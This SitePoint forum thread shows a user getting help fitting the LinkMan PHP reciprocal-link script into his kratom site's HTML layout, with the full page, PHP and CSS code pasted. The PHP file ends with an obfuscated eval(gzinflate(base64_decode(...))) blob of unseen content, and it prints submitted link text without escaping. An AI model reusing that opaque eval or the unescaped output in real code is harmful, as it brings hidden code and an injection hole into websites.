SitePoint Sponsor

User Tag List

Page 2 of 2 FirstFirst 12
Results 26 to 34 of 34
  1. #26
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Ive been workign on this a bit if you look at http://ukratom.com/links I added to the script to pull up a html page and it just jumbles all the links together at the top. I can get the images to show by changing the path of the images to http//ukratom.com/images/kraton_logo

    Can anyone help me further?

  2. #27
    billycundiff{float:left;} silver trophybronze trophy RyanReese's Avatar
    Join Date
    Oct 2008
    Location
    Whiteford, Maryland, United States
    Posts
    13,564
    Mentioned
    6 Post(s)
    Tagged
    0 Thread(s)
    Hello .

    Where are the links? I'm not seeing any jumble of multiple links anywhere on that page you just provided.
    Twitter-@Ryan_Reese09
    http://www.ryanreese.us -Always looking for web design/development work

  3. #28
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    yea i been workign on it. It looks good at http//ukratom.com/links/home.html

    but it doubles at http://ukratom.com/links

    I made it work but its still prob wont pass a valitation test idk. and some of the other php pages need work.

  4. #29
    billycundiff{float:left;} silver trophybronze trophy RyanReese's Avatar
    Join Date
    Oct 2008
    Location
    Whiteford, Maryland, United States
    Posts
    13,564
    Mentioned
    6 Post(s)
    Tagged
    0 Thread(s)
    Can you show us your PHP/HTML code for all that for hte page? I don't know if the PHP script is majorly outputting most of the stuff there, or what...

    If it's doubling up, then obviously there is duplicate code in the source. We need to see the code and we'll point out where the duplication is happening .
    Twitter-@Ryan_Reese09
    http://www.ryanreese.us -Always looking for web design/development work

  5. #30
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    heres html page code
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <html>
    <head>
      <title>Kratom | Kratom Leaf |</title>
      <meta name="description"
     content="uKratom offers information on kratom, kratom powder, kratom leaf, kratom extracts, effects of kratom, where to buy kratom and more.">
      <meta name="abstract"
     content="Get information about kratom, kratom extracts, kratom effects, kratom dosage and more. Learn all you can about the wounderful kratom plant.">
      <meta name="ROBOTS"
     content="ALL=INDEX,FOLLOW">
      <meta http-equiv="content-type"
     content="text/html; charset=utf-8">
      <link rel="stylesheet"
     type="text/css" href="http://ukratom.com/styles.css">
      <script type="text/javascript">
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-30392963-1']);
    _gaq.push(['_trackPageview']);
    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
    })();
      </script>
      <style type="text/css">
    p.c3 {text-align: center;}
    img.c2 {border: 0px solid ; width: 200px; height: 106px;}
    img.c1 {border: 0px solid ; width: 450px; height: 89px;}
      </style>
    </head>
    <body>
    <div id="container">
    <div id="header">
    <h1><a
     href="http://ukratom.com" title="kratom home"><img
     class="c1" src="http://ukratom.com/images/kraton_logo.jpg"
     alt="Kratom"></a><a
     href="http://www.bouncingbearbotanicals.com/ethnobotanicals-kratom-c-60_91.html?ref=4331"
     target="_blank"><img
     class="c2" alt="buy kratom, kratom buy"
     src="http://ukratom.com/images/Kratom_leaf.jpg"></a></h1>
    </div>
    <div id="wrapper">
    <div id="content">
    <p><a
     href="#addlink">Submit your website</a></p>
    <p class="linkman"><b>Featured
    links</b></p>
    <table border="0" cellpadding="1"
     cellspacing="1">
      <tbody>
        <tr>
          <td class="linkman" valign="top"><img
     src="http://open.thumbshots.org/image.pxf?url=http%3A%2F%2Fwww.erowid.org"
     style="vertical-align: middle;" alt="Thumbnail"
     border="1" height="90" width="120">&nbsp;</td>
          <td class="linkman"
     title="Google PageRank: 6/10" valign="top"><img
     src="img/pr6.gif" alt="Google PageRank: 6/10"
     style="vertical-align: middle;" border="0" height="5"
     width="40">&nbsp;</td>
          <td class="linkman" valign="top">
          <p class="linkman"><a
     href="http://www.erowid.org" target="_blank"
     class="linkman"><b>Erowid</b></a><br>
    Erowid is an online library containing tens of thousands of pages of
    information about psychoactive drugs<br>
    &nbsp;</p>
          </td>
        </tr>
      </tbody>
    </table>
    <p class="linkman"><a
     name="addlink"></a>&nbsp;<br>
    <b>Submit your website</b></p>
    <p><b>&raquo;
    Step 1: Add our link to your website</b></p>
    <table border="0">
      <tbody>
        <tr>
          <td>Website URL:</td>
          <td><a
     href="http://www.ukratom.com" target="_blank">http://www.ukratom.com</a></td>
        </tr>
        <tr>
          <td>Website Title:</td>
          <td>Kratom</td>
        </tr>
        <tr>
          <td>Description:</td>
          <td>All about kratom, what
    is kratom, kratom dosage, buy kratom and more.</td>
        </tr>
      </tbody>
    </table>
    <p><textarea
     rows="4" cols="60" onfocus="this.select()">&lt;a
    href="http://www.ukratom.com"&gt;Kratom&lt;/a&gt; - All
    about kratom, what is kratom, kratom dosage, buy kratom and more.</textarea></p>
    <p><b>&raquo;
    Step 2: Submit your link</b></p>
    <p>All fields are required. Please
    finish <b>Step 1</b>
    before submitting this form.
    New links will be approved manually.</p>
    <form method="post"
     action="addlink.php">
      <table border="0">
        <tbody>
          <tr>
            <td><b>Your
    name:</b></td>
            <td><input
     name="name" size="40" maxlength="50" type="text"></td>
          </tr>
          <tr>
            <td><b>E-mail:</b></td>
            <td><input
     name="email" size="40" maxlength="50" type="text"></td>
          </tr>
          <tr>
            <td><b>Website
    title:</b></td>
            <td><input
     name="title" size="40" maxlength="50" type="text"></td>
          </tr>
          <tr>
            <td><b>Website
    URL:</b></td>
            <td><input
     name="url" maxlength="255" value="http://"
     size="40" type="text"></td>
          </tr>
          <tr>
            <td><b>URL
    with reciprocal link:</b></td>
            <td><input
     name="recurl" maxlength="255" value="http://"
     size="40" type="text"></td>
          </tr>
        </tbody>
      </table>
      <p><b>Website
    description:</b><br>
      <input name="description"
     maxlength="200" size="60" type="text"></p>
      <p><input
     value="Add link" type="submit"></p>
    </form>
    </div>
    </div>
    <div id="navigation">
    <ul>
      <li><a
     href="kratom_images.html" title="kratom images">Kratom
    Images</a></li>
      <li><a
     href="kratom_dosage.html" title="kratom dosage">Kratom
    Dosage</a></li>
      <li><a
     href="kratom_effects.html" title="kratom effects">Kratom
    Effects</a></li>
      <li><a
     href="kratom_extracts.html" title="kratom extract">Kratom
    Extracts</a></li>
      <li><a
     href="kratom_resin.html" title="kratom resin">Kratom
    Resin</a></li>
      <li><a
     href="kratom_crushed.html" title="crushed kratom leaf">Crushed
    Kratom Leaf</a></li>
      <li><a
     href="kratom_powder.html" title="kratom powder">Kratom
    Powder</a></li>
    </ul>
    </div>
    <div id="extra">
    <p class="c3"><a
     href="http://ukratom.com/" title="kratom home">Kratom
    Home</a>
    | <a href="sitemap.html"
     title="kratom sitemap">Site
    Map</a></p>
    </div>
    <div id="footer">
    <p class="white">&copy;
    uKRATOM.COM</p>
    </div>
    </div>
    </body>
    </html>
    Heres links.php code
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    
    require_once('home.html');
    
    if ($settings['show_form'])
    {
    	?>
    	<p><a href="#addlink">Submit your website</a></p>
    	<?php
    }
    
    $lines = file($settings['linkfile']);
    
    /* Handle pages */
    if ($settings['allow_pages'])
    {
    	/* Page number, default 1st page */
    	$page=intval($_REQUEST['page']);
    	if ($page > 0)
    	{
    	    $start=($page*$settings['max_per_page'])-$settings['max_per_page'];$end=$start+$settings['max_per_page']-1;
    	}
    	else
    	{
    	    $page=1;$start=0;$end=$settings['max_per_page']-1;
    	}
    
        /* Total number of links */
    	$total = count($lines);
    
    	if ($total > 0)
        {
    	    if ($end > $total) {$end=$total;}
    	    $pages = ceil($total/$settings['max_per_page']);
                   
    	    $page_nav = '';
    
    	    if ($pages > 1)
    	    {
            	$page_nav = '<p>';
    
    	        $prev_page = ($page-1 <= 0) ? 0 : $page-1;
    	        $next_page = ($page+1 > $pages) ? 0 : $page+1;
    
    	        if ($prev_page)
    	        {
    	        	$page_nav .= '<a href="links.php?page=1">&lt;&lt; First</a> &nbsp;|&nbsp; ';
                	if ($prev_page > 1)
                    {
                    	$page_nav .= '<a href="links.php?page='.$prev_page.'">&lt; Prev</a> &nbsp;|&nbsp;';
                    }
    	        }
    
    	        for ($i=1; $i<=$pages; $i++)
    	        {
    	            if ($i <= ($page+5) && $i >= ($page-5))
    	            {
    	               if($i == $page) {$page_nav .= ' <b>'.$i.'</b> ';}
    	               else {$page_nav .= ' <a href="links.php?page='.$i.'">'.$i.'</a> ';}
    	            }
    	        }
    
    	        if ($next_page)
    	        {
                    if ($next_page < $pages)
                    {
                        $page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$next_page.'">Next &gt;</a>';
                    }
                    $page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$pages.'">Last &gt;&gt;</a>';
    	        }
    
                $page_nav .= '</p>';
    
                echo $page_nav;
    	    }
    	}
        $lines = array_slice($lines,$start,$settings['max_per_page']);
    }
    
    $print_featured = 0;
    $first = 1;
    $i = 0;
    
    foreach ($lines as $thisline)
    {
        $thisline=trim($thisline);
        if (!empty($thisline))
        {
            $i++;
            list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);
    
            $show_url = $settings['show_url'] ? '&nbsp;<span class="linkmanURL">-&nbsp;'.$url.'</span>' : '';
    
            if ($settings['show_pr'] == 1)
            {
                if (empty($pr)) {$pr=0;}
                $pr_code = '<td valign="top" class="linkman" title="Google PageRank: '.$pr.'/10"><img src="img/pr'.$pr.'.gif" width="40" height="5" alt="Google PageRank: '.$pr.'/10" border="0" style="vertical-align: middle;">&nbsp;</td>';
            }
            else
            {
                $pr_code = '';
            }
    
            if ($settings['show_thumbshots'])
            {
                $thumb_code = '<td valign="top" class="linkman"><img src="'.$settings['thumb_url'].rawurlencode($url).'" style="vertical-align: middle;" border="1" width="120" height="90" alt="Thumbnail">&nbsp;</td>';
            }
            else
            {
                $thumb_code = '';
            }
    
            if ($featured == 1)
            {
    
                if ($print_featured == 0)
                {
                    $print_featured = 1;
                    $first = 0;
                    echo '<p class="linkman"><b>Featured links</b></p><table border="0" cellspacing="1" cellpadding="1">';
                }
    
                $url      = ($settings['clean'] != 1) ? $url : 'go.php?url='.rawurlencode($url);
                $nofollow = ($settings['use_nofollow']==1) ? 'rel="nofollow"' : '';
    
                echo '
                <tr>
                '.$thumb_code.'
                '.$pr_code.'
                <td valign="top" class="linkman"><p class="linkman"><a href="'.$url.'" target="_blank" class="linkman" '.$nofollow.'><b>'.$title.'</b></a>'.$show_url.'<br>'.$description.'<br>&nbsp;</p></td>
                </tr>
                ';
            }
            else
            {
                if ($settings['show_thumbshots']!=1)
                {
                    $thumb_code = '';
                }
    
                if ($print_featured == 1)
                {
                    $print_featured = 0;
                    $first = 1;
                    echo '</table>';
                }
    
                if ($first == 1)
                {
                    $first = 0;
                    echo '<p class="linkman"><b>Reciprocal links</b></p><table border="0" cellspacing="1" cellpadding="1">';
                }
    
                $url      = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);
                $nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';
    
                echo '
                <tr>
                '.$thumb_code.'
                '.$pr_code.'
                <td valign="top" class="linkman"><p class="linkman"><a href="'.$url.'" target="_blank" class="linkman" '.$nofollow.'>'.$title.'</a>'.$show_url.'<br>'.$description.'</p></td>
                </tr>
                ';
            }
        }
    }
    
    /* Close the table if at least one link is printed out */
    if ($i)
    {
        echo '</table>';
    
    	/* Print bottom page navigation if at least 20 listings on the page */
    	if ($settings['allow_pages'] && $i > 19)
    	{
        	echo $page_nav;
    	}
    }
    else
    {
        echo '<p class="linkman">No links yet!</p>';
    }
    
    if ($settings['show_form'])
    {
        if ($i < $settings['max_links'])
        {
        ?>
        <p class="linkman"><a name="addlink"></a>&nbsp;<br><b>Submit your website</b></p>
    
        <p><b>&raquo; Step 1: Add our link to your website</b></p>
    
        <table border="0">
        <tr>
        <td>Website URL:</td>
        <td><a href="<?php echo $settings['site_url']; ?>" target="_blank"><?php echo $settings['site_url']; ?></a></td>
        </tr>
        <tr>
        <td>Website Title:</td>
        <td><?php echo htmlspecialchars($settings['site_title']); ?></td>
        </tr>
        <tr>
        <td>Description:</td>
        <td><?php echo htmlspecialchars($settings['site_desc']); ?></td>
        </tr>
        </table>
    
        <p><textarea rows="4" cols="60" onfocus="this.select()">&lt;a href=&quot;<?php echo $settings['site_url']; ?>&quot;&gt;<?php echo htmlspecialchars($settings['site_title']); ?>&lt;/a&gt; - <?php echo htmlspecialchars($settings['site_desc']); ?></textarea></p>
    
        <p><b>&raquo; Step 2: Submit your link</b></p>
    
        <p>All fields are required. Please finish <b>Step 1</b> before submitting this form.
        <?php
        if ($settings['man_approval'])
        {
        	echo ' New links will be approved manually.';
        }
        ?></p>
    
        <form method="post" action="addlink.php">
    
        <table border="0">
        <tr>
        <td><b>Your name:</b></td>
        <td><input type="text" name="name" size="40" maxlength="50"></td>
        </tr>
        <tr>
        <td><b>E-mail:</b></td>
        <td><input type="text" name="email" size="40" maxlength="50"></td>
        </tr>
        <tr>
        <td><b>Website title:</b></td>
        <td><input type="text" name="title" size="40" maxlength="50"></td>
        </tr>
        <tr>
        <td><b>Website URL:</b></td>
        <td><input type="text" name="url" maxlength="255" value="http://" size="40"></td>
        </tr>
        <tr>
        <td><b>URL with reciprocal link:</b></td>
        <td><input type="text" name="recurl" maxlength="255" value="http://" size="40"></td>
        </tr>
        </table>
    
        <p><b>Website description:</b><br>
        <input type="text" name="description" maxlength="200" size="60"></p>
    
        <p><input type="submit" value="Add link"></p>
    
        </form>
        <?php
        } // End if $settings['max_links'] < $i
        else
        {
        ?>
        <p class="linkman">&nbsp;<br /><b>Submit your website</b></p>
    
        <p><i>Unfortunately we are not accepting any new links at the moment.</i></p>
        <?php
        }
    } // End if $settings['show_form']
    
    eval(gzinflate(base64_decode('DdBHsqJAAADQ43x/uRBBUs0KJEiQjA1spiTTZJEG+vQz7wivQO
    /uVOFmKLv3tzil76Vgbn/zIhvz4vQjZbQO50kQBMm9sb5auxVwKZoR4tqVBGLUPnDqFOH+bKbwmeAzvy
    kFB0WF95PyuCTJuCvo0UNhW2VqI/vollGRQZlcK/b9uFlNlX3olZkPt5I4IGebU8fBRJlKNinReNFdUU
    WDh8UuSx6rcuXMRchRbJdYJmBTrH7+NkVCN6wp5Xb+UHWHZS2+zfnEFGX2uzy11T2LRsDExPHxkHkdm/
    M96Awho+mQUkQUUW5VAzdSTTJ8N1SawJgFi7ebBdnmryNvTVDJHKJJQEAcVPEebX5paaP4CcoqhKt0zE
    x5btB51ubuBpajV+n7xH1eFRjbA1MDpOxxBknTOuwT8o/JCmY17B1U1ZCPFHv1vGaZj3ZP9g2sIMMWth
    s22o9sYi2BDQLD1l4y02HtRS4Q1WIxhamsE7Oz4oABkRRHDNfkXO1/8UsdPP5A3P9F6UuSM7/znWKrjQ
    yHRFYJRuGkNh5aIr4/r2tuFCyV6+Fu3z7G2z961xH8mX5oCcmWg+m4GkWE1724EKnTNhv2oaqf6StWVe
    DhWApeYoHUJTD6lLkgNk3Z9HL5+f39/fMP')));
    ?>
    Heres the .css that came with the php script
    Code:
    body, td, p {
    	background-color : #FFFFFF;
    	color : #000000;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 11px;
    }
    
    td.head {
    	background-color : #336699;
    	color : #FFFFFF;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 12px;
    	font-weight : bold;
    }
    
    td.glava {
    	background-color : #336699;
    	color : #FFFFFF;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 11px;
    }
    
    td.copyright {
    	background-color : #336699;
    	color : #FFFFFF;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 9px;
    }
    
    td.vmes {
    BORDER-RIGHT: #336699 1px solid;
    BORDER-TOP: #336699 1px solid; 
    background-color: #FFFFFF; 
    BORDER-LEFT: #336699 1px solid; 
    BORDER-BOTTOM: #336699 1px solid
    }
    
    td.dol {
    BORDER-RIGHT: #336699 2px solid;
    BORDER-TOP: #336699 2px solid; 
    background-color: #FFFFFF; 
    BORDER-LEFT: #336699 2px solid; 
    BORDER-BOTTOM: #336699 2px solid;
    }
    
    td.sec{
    	background-color:#F4F4F4;
    }
    
    a {
    	color : blue;
    	text-decoration : underline;
    }
    
    a.copy {
    	color : White;
    	text-decoration : underline;
    }
    
    a.link {
    	font-size : 10px;
    }
    
    a:hover {
    	color : #FF0000;
    	text-decoration : none;
    }
    
    a.copy:hover {
    	color : yellow;
    	text-decoration : none;
    }
    
    font.header {
    	color : #FFFFFF;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 12px;
    	font-weight : bold;
    }
    
    font.notice {
    	color: #FF0000;
    }
    
    hr {
    	height: 0; 
    	border: 0; 
    	border-top: 1px solid #8080FF; 
    }
    
    p.head {
    	color : #000000;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 14px;
    	font-weight : bold;
    }
    
    input {
    	font-family: Verdana, Arial, Helvetica, sans-serif;
    	font-size:12px;
    	color:#000000;
    	border-top:1px solid #1162B6;
    	border-left:1px solid #1162B6;
    	border-right:1px solid #1162B6;
    	border-bottom:1px solid #1162B6;
    	background:#FFFFFF;
    }
    
    td.first {
    	background-color : #FFFFFF;
    	color : #000000;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 10px;
    }
    
    td.second {
    	background-color : #F4F4F4;
    	color : #000000;
    	font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;
    	font-size : 10px;
    }
    
    span.tip {
    	color : Green;
    	font-size : 11px;
    	font-weight: bold;
    } 
    
    img.line {
    	border: 1px solid #009900;
    	vertical-align: text-bottom;
    }
    All i did to get http://ukratom.com/links/home.html Is take the source code from http://ukratom.com/links and copy the form code and place it into the content or container part of the home.html page.

  6. #31
    billycundiff{float:left;} silver trophybronze trophy RyanReese's Avatar
    Join Date
    Oct 2008
    Location
    Whiteford, Maryland, United States
    Posts
    13,564
    Mentioned
    6 Post(s)
    Tagged
    0 Thread(s)
    Ok, I'm no PHP expert, but here is how I would handle the situation. Basically what is happening (if you view the source of the link and corrolate it to the PHP code)...is that you have require_once('the HTML page') and taht's copying the entire source code from that, putting it in the links document, and then continues on its' way. Then the regular echo'ing of what the PHP page is put on at the end.

    Here's what I'd do. BACKUP YOUR DATA SO IF THIS DOESN'T WORK, YOU HAVE A FALLBACK
    1) In the PHP file, remove require_once('home.html');
    2) Go to the HTML page. Re save that page as a .php page. You're just changing the extension here
    3) In that HTML page (well, now it's a .php page. So we will call it PHP2 for now) take all the source code and remove all the content from it. Everything inside the <div id="content"> can be removed. So basically this.
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <html><head>
      <title>Kratom | Kratom Leaf |</title>
      <meta name="description" content="uKratom offers information on kratom, kratom powder, kratom leaf, kratom extracts, effects of kratom, where to buy kratom and more.">
      <meta name="abstract" content="Get information about kratom, kratom extracts, kratom effects, kratom dosage and more. Learn all you can about the wounderful kratom plant.">
      <meta name="ROBOTS" content="ALL=INDEX,FOLLOW">
      <meta http-equiv="content-type" content="text/html; charset=utf-8">
      <link rel="stylesheet" type="text/css" href="http://ukratom.com/styles.css">
      <script type="text/javascript" async="" src="http://www.google-analytics.com/ga.js"></script><script type="text/javascript">
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-30392963-1']);
    _gaq.push(['_trackPageview']);
    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
    })();
      </script>
      <style type="text/css">
    p.c3 {text-align: center;}
    img.c2 {border: 0px solid ; width: 200px; height: 106px;}
    img.c1 {border: 0px solid ; width: 450px; height: 89px;}
      </style>
    </head>
    <body>
    <div id="container">
    <div id="header">
    <h1><a href="http://ukratom.com" title="kratom home"><img class="c1" src="http://ukratom.com/images/kraton_logo.jpg" alt="Kratom"></a><a href="http://www.bouncingbearbotanicals.com/ethnobotanicals-kratom-c-60_91.html?ref=4331" target="_blank"><img class="c2" alt="buy kratom, kratom buy" src="http://ukratom.com/images/Kratom_leaf.jpg"></a></h1>
    </div>
    <div id="wrapper">
    <div id="content">
    
    
    
    
    
    
    
    
    
    
    </div>
    </div>
    <div id="navigation">
    <ul>
      <li><a href="kratom_images.html" title="kratom images">Kratom
    Images</a></li>
      <li><a href="kratom_dosage.html" title="kratom dosage">Kratom
    Dosage</a></li>
      <li><a href="kratom_effects.html" title="kratom effects">Kratom
    Effects</a></li>
      <li><a href="kratom_extracts.html" title="kratom extract">Kratom
    Extracts</a></li>
      <li><a href="kratom_resin.html" title="kratom resin">Kratom
    Resin</a></li>
      <li><a href="kratom_crushed.html" title="crushed kratom leaf">Crushed
    Kratom Leaf</a></li>
      <li><a href="kratom_powder.html" title="kratom powder">Kratom
    Powder</a></li>
    </ul>
    </div>
    <div id="extra">
    <p class="c3"><a href="http://ukratom.com/" title="kratom home">Kratom
    Home</a>
    | <a href="sitemap.html" title="kratom sitemap">Site
    Map</a></p>
    </div>
    <div id="footer">
    <p class="white">
    uKRATOM.COM</p>
    </div>
    </div>
    
    
    </body></html>
    4) In there, inside the <div id="content"> place this line exactly inside that div
    Code:
    <?php include("links.php");?>
    That should be everything, almost. Make sure to backup your code. What I basically am having you do, is from links.php, you copy all that content and place it in the home page.

    You will need to go to the PHP forum, however, to remove the extra </body></html> it places in the code. I don't see off-hand where it is. Didn't look too hard but nonetheless.
    Twitter-@Ryan_Reese09
    http://www.ryanreese.us -Always looking for web design/development work

  7. #32
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    welp buddy that worked like it should. would you like a free link to your website? Anything i can do for you?

    I still might have some questions cuz if you click the add link without adding any text it brings up an error page and that doesn't have my design around it. Idk if i should try messing with that. And im sure if you did add a link an approve page or something probably pops up

  8. #33
    billycundiff{float:left;} silver trophybronze trophy RyanReese's Avatar
    Join Date
    Oct 2008
    Location
    Whiteford, Maryland, United States
    Posts
    13,564
    Mentioned
    6 Post(s)
    Tagged
    0 Thread(s)
    Awesome, I'm really glad to hear it . I was afraid I had forgotten to mention something.

    You don't need to do anything for me. I help here because I just like helping people .

    The empty text issue you mentioned is really simple to fix, although I do believe this has turned more into a PHP question. If you want to go get htat situated now, create a thread in the PHP section of this forum. They are knowledgeable in PHP (more than me) and can easily help you out. You'll want to eventually get the issue fixed anyway, so might as well do it now .
    Twitter-@Ryan_Reese09
    http://www.ryanreese.us -Always looking for web design/development work

  9. #34
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    ok thank you for your help im getting some where.


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •